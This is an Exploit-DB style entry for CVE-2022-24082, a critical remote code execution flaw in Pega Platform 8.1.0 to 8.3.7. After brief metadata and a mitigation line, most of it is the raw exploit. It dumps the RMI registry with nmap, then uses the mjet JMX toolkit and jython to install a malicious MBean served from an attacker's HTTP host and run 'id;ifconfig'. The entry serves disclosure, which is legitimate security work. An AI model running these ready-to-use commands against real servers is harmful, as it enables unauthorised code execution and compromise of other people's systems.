Pega Platform 8.1.0 - Remote Code Execution (RCE)

vendor:

Pega Platform

by:

Marcin Wolak

9.8

CVSS

CRITICAL

Remote Code Execution (RCE)

CWE

Product Name: Pega Platform

Affected Version From: 8.1.2000

Affected Version To: 8.3.2007

Patch Exists: YES

Related CWE: CVE-2022-24082

CPE: a:pega:pega_platform

Metasploit:

Other Scripts:

Platforms Tested: Red Hat Enterprise 7

2022

Pega Platform 8.1.0 – Remote Code Execution (RCE)

Pega Platform 8.1.0 is vulnerable to Remote Code Execution (RCE). An attacker can exploit this vulnerability by using MOGWAI LABS JMX Exploitation Toolkit and jython to install mbean for remote code execution and execute commands such as id and ifconfig.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to update the Pega Platform to the latest version.

Source

Exploit-DB raw data:

# Exploit Title: Pega Platform 8.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 20 Oct 2022
# Exploit Author: Marcin Wolak (using MOGWAI LABS JMX Exploitation Toolkit)
# Vendor Homepage: www.pega.com
# Software Link: Not Available
# Version: 8.1.0 on-premise and higher, up to 8.3.7
# Tested on: Red Hat Enterprise 7
# CVE : CVE-2022-24082

;Dumping RMI registry:
nmap -sT -sV --script rmi-dumpregistry -p 9999 <IP Address>

;Extracting dynamic TCP port number from the dump (in form of @127.0.0.1
:<PORT>)
;Verifying that the <PORT> is indeed open (it gives 127.0.0.1 in the RMI
dump, but actually listens on the network as well):
nmap -sT -sV -p <PORT> <IP Address>

;Exploitation requires:
;- JVM
;- MOGWAI LABS JMX Exploitation Toolkit (https://github.com/mogwailabs/mjet)
;- jython
;Installing mbean for remote code execution
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 install random_password http://<Local IP to Serve Payload
over HTTP>:6666 6666

;Execution of commands id & ifconfig
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 command random_password "id;ifconfig"

;More details:
https://medium.com/@Marcin-Wolak/cve-2022-24082-rce-in-the-pega-platform-discovery-remediation-technical-details-long-live-69efb5437316


Kind Regards,
Marcin Wolak